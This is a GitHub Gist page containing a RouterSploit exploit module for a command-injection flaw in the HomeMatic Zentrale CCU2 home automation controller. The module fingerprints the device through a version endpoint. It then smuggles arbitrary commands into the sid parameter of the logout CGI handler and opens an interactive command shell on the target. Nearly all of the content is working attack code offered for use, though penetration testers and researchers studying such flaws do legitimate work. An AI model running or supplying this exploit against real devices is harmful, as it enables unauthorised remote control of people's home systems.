Created
August 16, 2018 20:53
-
-
Save paralax/b6d697a83bb6fc16f671e447fe163f85 to your computer and use it in GitHub Desktop.
routersploit module exploits/misc/homematic/zentrale_ccu2_rce.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import random | |
| import re | |
| import string | |
| from routersploit.core.exploit import * | |
| from routersploit.core.http.http_client import HTTPClient | |
| class Exploit(HTTPClient): | |
| __info__ = { | |
| "name": "HomeMatic Zentrale CCU2 - RCE", | |
| "description": "Exploits a flaw in the CCU2 logout handler to execute arbitrary commands.", | |
| "authors": ( | |
| 'Kacper Szurek - ESET', | |
| "@jnazario", # routersploit module | |
| ), | |
| "references": ( | |
| "https://www.exploit-db.com/exploits/45052/", | |
| ), | |
| "devices": ( | |
| "HomeMatic Zentrale CCU2", | |
| ) | |
| } | |
| target = OptIP("", "Target IPv4 or IPv6 address") | |
| port = OptPort(80, "Target HTTP port") | |
| def run(self): | |
| if self.check(): | |
| print_success("Target appears to be vulnerable") | |
| print_status("Invoking command loop...") | |
| shell(self) | |
| else: | |
| print_error("Target is not vulnerable") | |
| def execute(self, cmd): | |
| url = '/api/backup/logout.cgi?sid=aa");system.Exec("{}");system.ClearSessionID("bb' | |
| response = self.http_request( | |
| method='GET', | |
| path=url.format(cmd) | |
| ) | |
| return response.text | |
| @mute | |
| def check(self): | |
| response = self.http_request( | |
| method="GET", | |
| path="/api/backup/version.cgi" | |
| ) | |
| if response is not None: | |
| if response.text.startswith('VERSION='): | |
| return True # target is vulnerable | |
| return False # target is not vulnerable | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment